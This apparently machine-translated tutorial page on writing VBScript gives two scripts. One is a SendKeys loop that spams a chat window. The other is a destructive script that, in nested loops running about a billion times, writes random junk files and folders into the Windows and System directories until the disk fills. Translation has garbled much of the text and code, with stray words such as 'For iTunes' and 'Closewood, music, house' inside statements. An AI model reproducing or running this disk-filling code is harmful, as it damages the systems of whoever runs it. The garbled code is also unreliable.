How to write a vbs script
This article mainly explains "how to write a vbs script". The content of the article is simple and clear, and it is easy to learn and understand. Please follow the editor's train of thought to study and learn "how to write a vbs script".
The code is as follows:
Set WshShell= WScript.createObject ("WScript.Shell")
WshShell.AppActivate "Group-Powers member Communication"
Number of times to send for iTunes 1 to 10'
WScript.Sleep 500' interval between sending messages
WshShell.SendKeys "^ v" 'content to be posted
WshShell.SendKeys I: each message is different here, followed by I, that is, the number of loops
WshShell.SendKeys 's'
Next
This code is explained very clearly ~ hehe
In fact, just a little bit can get us to do several interesting things, such as: browsing QQ chat ah, browsing the website ~
Because I am interested, I found a code like this: a VBS script program to write hard disk (don't do bad things)
The code is as follows:
On error resume next
Dim objdir,suijishu
Set objdir=wscript.createobject ("scripting.filesystemobject")
Set windir=objdir.getspecialfolder (0)
Set sysdir=objdir.getspecialfolder (1)
'start the program
For iTunes 1 to 1000
For jung1 to 1000
For Rumex 1 to 1000 Muhammad Murray-
Randomize
Y=int ((122,651) * rnd+65)
Y1=int ((122,651) * rnd+65)
Y2=int ((122,651) * rnd+65)
Y3=int ((122,651) * rnd+65)
Y4=int ((122,651) * rnd+65)
Y5=int ((122,651) * rnd+65)
Y6=int ((122,651) * rnd+65)
Y7=int ((122,651) * rnd+65)
Y8=int ((122-65) 1) * rnd+65)'-
Y9=int ((122,651) * rnd+65)
F=chr (y) & chr (y1) & chr (y2) & chr (y3) & chr (y4) & chr (y5) & chr (y6) & chr (y7) & chr (y8) & chr (y9)
Suijishu=int (rnd*10000)
'create a windows file
Yang=windir& "& f &". & chr (y3) & chr (y7) & chr (y)
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A.close
Yang=windir& "& chr (y3) & chr (y1) &". & chr (y) & chr (y4) & chr (y2)'2
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu'
A.writeline (f&f&f&f&f&f&f)
Next
A.close
Yang=windir& "& chr (y7) & chr (y2) & chr (y9) &". & chr (y8) & chr (y4) & chr (y1)'3
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)'
Next
A.close
Yang=windir& "& chr (y5) & chr (y2) & chr (y9) & chr (y1) &". & chr (y6) & chr (y9) & chr (y3)'4
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next'-
A.close
Yang=windir& "& chr (Y6) & chr (Y2) & chr (y) & chr (Y4) & chr (Y5) &". & chr (Y6) & chr (Y8) & chr (Y4)'5
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A. Closewood, music, house, etc.-
Yang=windir& "& chr (Y3) & chr (Y6) & chr (Y1) & chr (Y8) & chr (Y5) & chr (y9) &". & chr (Y3) & chr (Y8) & chr (y)'6
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A. Closewood, music, house, etc.-
Yang=windir& "& chr (y4) & chr (y2) & chr (y1) & chr (y7) & chr (y8) & chr (y) & chr (y4) &". & chr (y2) & chr (y) & chr (y5)'7
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A.close
Yang=windir& "& chr (y8) & chr (y2) & chr (y6) & chr (y4) & chr (y1) & chr (y) & chr (y6) & chr (y1) &". & chr (y4) & chr (y) & chr (Y7) '8color color-
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A.close
'create a system file-10
Yang=sysdir& "& f &". & chr (y3) & chr (y9) & chr (y1)
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A.close
Yang=sysdir& "& chr (y3) & chr (y1) &". & chr (y4) & chr (y2) & chr (y9) '2muri-
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A.close
Yang=sysdir& "& chr (y7) & chr (y2) & chr (y9) &". & chr (y3) & chr (y7) & chr (y)'3
Set a=objdir.createtextfile (yang,true)'
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A.close
Yang=sysdir& "& chr (y5) & chr (y2) & chr (y9) & chr (y1) &". & chr (y5) & chr (y4) & chr (y1)'4
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"--
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A.close
Yang=sysdir& "& chr (y6) & chr (y2) & chr (y) & chr (y4) & chr (y5) &". & chr (y3) & chr (y6) & chr (y9)'5
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Lao Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A.close
Yang=sysdir& "& chr (y3) & chr (y6) & chr (y1) & chr (y8) & chr (y5) & chr (y9) &". & chr (y3) & chr (y) & chr (y5)'6
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"-15
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)
Next
A.close
Yang=sysdir& "& chr (y4) & chr (y2) & chr (y1) & chr (y7) & chr (y8) & chr (y) & chr (y4) &". & chr (y7) & chr (y5) & chr (y1)'7
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu'
A.writeline (f&f&f&f&f&f&f)
Next
A.close
Yang=sysdir& "& chr (y8) & chr (y2) & chr (y6) & chr (y4) & chr (y1) & chr (y) & chr (y6) & chr (y1) &". & chr (y1) & chr (y7) & chr (y4)'8
Set a=objdir.createtextfile (yang,true)
A.writeline "Made In China,Hubei,Wuhan,Guanshan"
A.writeline "Comrade Yang, CEO of the Ancient style neighborhood Committee"
A.writeline "Oicq:14903220"
For upright 1 to suijishu
A.writeline (f&f&f&f&f&f&f)'
Next
A.close
'create a windows folder
Yang=windir& "& f &" u "
Objdir.createfolder (yang)
Yang=windir& "& chr (y4) & chr (y2)'2
Objdir.createfolder (yang)
Yang=windir& "& chr (y) & chr (y9) & chr (y5)'3
Objdir.createfolder (yang)'-
Yang=windir& "& chr (y6) & chr (y3) & chr (y8) & chr (y7)'4
Objdir.createfolder (yang)
Yang=windir& "& chr (y5) & chr (y) & chr (y1) & chr (y9) & chr (y3)'5
Objdir.createfolder (yang)
Yang=windir& "& chr (y6) & chr (y9) & chr (y4) & chr (y6) & chr (y1) & chr (y7)'6
Objdir.createfolder (yang)
Yang=windir& "& chr (y3) & chr (y6) & chr (y) & chr (y1) & chr (y7) & chr (y6) & chr (y2)'7
Objdir.createfolder (yang)
Yang=windir& "& chr (y6) & chr (y2) & chr (y9) & chr (y) & chr (y4) & chr (y7) & chr (y2) & chr (y5)'8
Objdir.createfolder (yang)'
'create a system folder
Yang=sysdir& "& f &" n "
Objdir.createfolder (yang)
Yang=sysdir& "& chr (y4) & chr (y2)'2
Objdir.createfolder (yang)
Yang=sysdir& "& chr (y) & chr (y9) & chr (y5)'3
Objdir.createfolder (yang)
Yang=sysdir& "& chr (y6) & chr (y3) & chr (y8) & chr (y7)'4
Objdir.createfolder (yang)'
Yang=sysdir& "& chr (y5) & chr (y) & chr (y1) & chr (y9) & chr (y3)'5
Objdir.createfolder (yang)
Yang=sysdir& "& chr (y6) & chr (y9) & chr (y4) & chr (y6) & chr (y1) & chr (y7)'6
Objdir.createfolder (yang)
Yang=sysdir& "& chr (y3) & chr (y6) & chr (y) & chr (y1) & chr (y7) & chr (y6) & chr (y2)'7
Objdir.createfolder (yang)
Yang=sysdir& "& chr (y6) & chr (y2) & chr (y9) & chr (y) & chr (y4) & chr (y7) & chr (y2) & chr (y5)'8
Objdir.createfolder (yang)
Next
Next
Next
Thank you for your reading, the above is the content of "how to write a vbs script", after the study of this article, I believe you have a deeper understanding of how to write a vbs script, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!
